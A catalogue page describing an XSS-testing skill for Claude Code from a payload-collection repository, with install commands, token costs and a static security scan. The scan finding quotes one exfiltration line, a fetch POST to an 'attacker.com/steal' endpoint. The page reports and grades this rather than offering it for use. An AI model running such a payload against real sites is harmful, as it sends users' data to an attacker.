A security testing skill for Cross-Site Scripting (XSS), an attack that injects scripts into pages viewed by other users. It covers reflected, stored, and DOM-based cases, including filter-bypass testing.

Use it to test web applications and inputs for reflected, stored, or DOM-based XSS vulnerabilities.

It helps find places where untrusted input can run in a user's browser, potentially exposing data or changing what the page does.

xss — Skill for Claude Code by mohdhaji87/payloadsallthethings-skills

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add mohdhaji87/payloadsallthethings-skills --skill xss

Clone the repo

git clone --depth 1 https://github.com/mohdhaji87/payloadsallthethings-skills

Made for: Claude Code.

Or install payloadsallthethings, the plugin that ships this one along with the rest of its 61 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/xss/github.svg)](https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/xss)

Your own site

<a href="https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/xss"><img src="https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/xss/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/xss"><img src="https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/xss.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 27 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,837 The whole file, excluding the scripts and references it only reads on demand.

Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.

Origin unknown No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00027	$0.01837
Opus 5.5	$0.00011	$0.00735
Sonnet 5.5	$0.00005	$0.00367
Haiku 4.5	$0.00003	$0.00184

Measured 2mo ago against content hash 31cb3527c686, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

xss scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://attacker.com/steal', { method: 'POST',

payloadsallthethings/skills/xss/SKILL.md · 291 lines

The source is not reproduced here

A licence we could not identify

The repository carries a LICENSE file, but it is custom or dual enough that GitHub cannot name it and neither can this catalogue. Unknown terms are not permission, so the body is not copied here. Read the licence at the source and decide for yourself.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

2mo ago First seen · 291 lines · 27 tokens per session scan B 31cb3527c686

Subscribe to this mod's changes

xss is a skill published in the GitHub repository mohdhaji87/payloadsallthethings-skills (21 stars, last pushed 10mo ago), with no licence file. It adds 27 tokens to every session and 1,837 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it B with 1 finding (sends data to an external url). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.